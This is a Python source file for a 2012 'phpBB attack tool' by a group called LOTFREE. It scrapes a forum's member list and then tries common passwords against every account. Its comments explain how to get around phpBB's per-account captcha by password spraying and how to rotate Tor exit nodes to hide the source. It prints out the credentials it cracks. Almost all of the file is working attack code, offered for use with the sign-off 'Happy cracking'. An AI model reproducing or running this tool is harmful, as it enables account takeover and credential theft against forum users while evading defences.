- #!/usr/bin/python
- import requests
- import sys
- import BeautifulSoup
- import codecs
- import urllib
- import socket
- import time
- import re
- # LOTFREE TEAM - 2012 RELEASE #
- # PHPBB ATTACK TOOL V 1.0 #
- # This tool allow you to perform some brute force attacks on accounts
- # registered on PHPBB based forums.
- # Two commands are available : dump and brute.
- # dump requires a valid login/password pair to fetch the list of registered
- # users on the forum.
- # brute requires a userlist file (previously obtained with dump) and a file
- # containing passwords.
- # Output encoding for this tool is UTF-8. You can safely redirect output to a file.
- #
- # PHPBB protect itself from bruteforce attacks on an attempts-per-account basis.
- # You will probably be asked for a captcha after 3 failed login attempt for
- # the same account.
- # There is no IP-based protection so you can try 3 passwords for all the registered
- # members using the same IP without being blocked :)
- # That's why your password list should be small and contain very commons password
- # (forum name, '123456' and 'password' are good candidates) and this tool is more
- # effective on big boards (more than 5K users).
- #
- # You will need the requests and BeautifulSoup python modules to get this script to work
- #
- # Happy cracking
- # You can define some proxy to use here
- # for example your polipo proxy ;-)
- PROXY = {'http' : '127.0.0.1:8123'}
- # If you are forwarding requests to Tor you can force to use a new exit node
- # after each X login attempts.
- # 0 means no IP change (don't use Tor or don't change the exit node)
- MAX_ATTEMPTS_BY_IP = 0
- # Don't change this
- LOGIN_PAGE = "login.php"
- def usage(progname):
- print "Usage: %s command <options ...>" % (progname)
- print " * Command must be 'dump' or 'brute'"
- print " * Options for dump : <forum_url> <login> <password> (need a valid user)"
- print " * Options for brute : <forum_url> <user_list_file> <password_list_file>"
- print " <forum_url> = path of the PHPBB root (ex: http://forum.com/phpBB/)"
- print
- def login(session, forum_url, username, password):
- success = False
- # test PhpBB2
- r = session.get(forum_url + LOGIN_PAGE)
- if r.status_code != 200:
- sys.stderr.write("Got a " + str(r.status_code) + " eror code :(\n")
- return False
- t = r.text
- form_fields = []
- if not "<form" in t:
- sys.stderr.write("No login form found in the webpage. You should take a look at this\n")
- print t
- sys.exit(1)
- soup = BeautifulSoup.BeautifulSoup(t[t.find("<form") : t.find("</form>")])
- for field in soup.findAll("input"):
- if field.has_key("name") and field.has_key("type"):
- if field["type"] in ["text", "password", "hidden", "submit"]:
- if field["name"] == "username":
- form_fields.append("username=" + urllib.quote_plus(username.encode(r.encoding)))
- elif field["name"] == "password":
- form_fields.append("password=" + urllib.quote_plus(password.encode(r.encoding)))
- else:
- if field.has_key("value"):
- form_fields.append(field["name"] + "=" + urllib.quote_plus(field["value"].encode(r.encoding)))
- login_url = soup.form["action"]
- if login_url.startswith("./"):
- login_url = forum_url + login_url[2:]
- else:
- login_url = forum_url + login_url
- r = session.post(login_url,
- data = "&".join(form_fields),
- headers = {'referer' : forum_url + LOGIN_PAGE, "content-type": "application/x-www-form-urlencoded"} )
- if "CAPTCHA" in r.text:
- sys.stderr.write(username.encode("UTF-8") + " : A captcha is required to login.\n")
- return False
- soup = BeautifulSoup.BeautifulSoup(r.text)
- for l in soup.findAll('a'):
- if l.has_key("href") and "logout" in l["href"]:
- success = True
- break
- if not success:
- if "successfully logged in" in r.text:
- success = True
- return success
- def renewTorIdentity():
- try:
- s = socket.socket()
- s.connect(('localhost', 9051))
- s.send('AUTHENTICATE\r\n')
- resp = s.recv(1024)
- if resp.startswith('250'):
- s.send("signal NEWNYM\r\n")
- resp = s.recv(1024)
- if resp.startswith('250'):
- # Identity renewed :)
- time.sleep(2)
- else:
- print "response 2:", resp
- else:
- print "response 1:", resp
- except Exception as e:
- print "Can't renew identity: ", e
- sys.stderr.write("/----------------------------------\\\n")
- sys.stderr.write("| LOTFREE 2012 |\n")
- sys.stderr.write("| PHPBB ATTACK TOOL v1.0 |\n")
- sys.stderr.write("\\----------------------------------/\n")
- if len(sys.argv) < 4:
- usage(sys.argv[0])
- sys.exit(1)
- COMMAND = sys.argv[1]
- BASE_URL = sys.argv[2]
- USERNAME = sys.argv[3]
- PASSWORD = sys.argv[4]
- if COMMAND not in ['dump', 'brute']:
- usage(sys.argv[0])
- sys.exit(1)
- requests.defaults.defaults['base_headers']['User-Agent'] = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)'
- requests.defaults.defaults["base_headers"]["Accept-Encoding"] = "text/plain"
- s = requests.session(proxies = PROXY)
- # Is this a phpBB2 forum ?
- r = s.get(BASE_URL + LOGIN_PAGE)
- if r.status_code == 404:
- # go for phpBB3
- LOGIN_PAGE = "ucp.php?mode=login"
- if COMMAND == "dump" :
- if login(s, BASE_URL, USERNAME, PASSWORD):
- sys.stderr.write("Login successfull, now dumping the usernames...\n")
- r = s.get(BASE_URL + "memberlist.php")
- soup = BeautifulSoup.BeautifulSoup(r.text)
- mpp = 0 # members per page
- for l in soup.findAll('a'):
- if l.has_key("href") and "start=" in l["href"]:
- mpp = int(l["href"].split("start=")[1])
- break
- idx = 0
- while True:
- # count the number of profiles linked in the current page
- count = 0
- for l in soup.findAll('a'):
- if l.has_key("href") and "viewprofile" in l["href"]:
- # Force output to UTF-8
- print l.text.encode("UTF-8")
- count = count + 1
- # There is less profiles in the current page than expected, this must be the last one
- if count < mpp:
- break
- sys.stdout.flush()
- idx = idx + mpp
- r = s.get(BASE_URL + "memberlist.php?start=" + str(idx))
- soup = BeautifulSoup.BeautifulSoup(r.text)
- loggedin = False
- for l in soup.findAll('a'):
- if l.has_key("href") and "logout" in l["href"]:
- loggedin = True
- break
- if not loggedin:
- # Disconnected... we have to login again
- sys.stderr.write("Disconnected from the forum... reconnecting\n")
- loggedin = login(s, BASE_URL, USERNAME, PASSWORD)
- if not loggedin:
- sys.stderr.write("ERROR: Can't login anymore... maybe try later\n")
- break
- # Reconnected... don't forget to refetch the page
- r = s.get(BASE_URL + "memberlist.php?start=" + str(idx))
- soup = BeautifulSoup.BeautifulSoup(r.text)
- sys.stderr.write("Dumping done\n")
- else:
- sys.stderr.write("Can't login :(\n")
- else:
- count = 0
- fdu = codecs.open(USERNAME, "r", "UTF-8")
- fdp = codecs.open(PASSWORD, "r", "UTF-8")
- if not fdu or not fdp:
- sys.stderr.write("Error opening one of the input files\n")
- sys.exit(1)
- hacked_accounts = {}
- while True:
- pwd = fdp.readline()
- if not pwd:
- break
- pwd = pwd.strip()
- if not len(pwd):
- continue
- sys.stderr.write("Trying password " + pwd.encode("UTF-8") + " on users\n")
- while True:
- uname = fdu.readline()
- if not uname:
- fdu.seek(0)
- break
- uname = uname.strip()
- if not len(uname):
- continue
- if uname in hacked_accounts.keys():
- continue
- s.close()
- s = requests.session(proxies = PROXY)
- if login(s, BASE_URL, uname, pwd):
- print "\tPASSWORD for username", uname.encode("UTF-8"), "is", pwd.encode("UTF-8")
- hacked_accounts[uname] = pwd
- sys.stdout.flush()
- count = count + 1
- if MAX_ATTEMPTS_BY_IP and count == MAX_ATTEMPTS_BY_IP:
- count = 0
- renewTorIdentity()
- fdu.close()
- fdp.close()
- if(len(hacked_accounts.keys())):
- for k, v in hacked_accounts.items():
- print "\tPASSWORD for username", k.encode("UTF-8"), "is", v.encode("UTF-8")
- else:
- print "No hacked accounts :("
- s.close()
LOTF-PHPBB-ATTACK-TOOL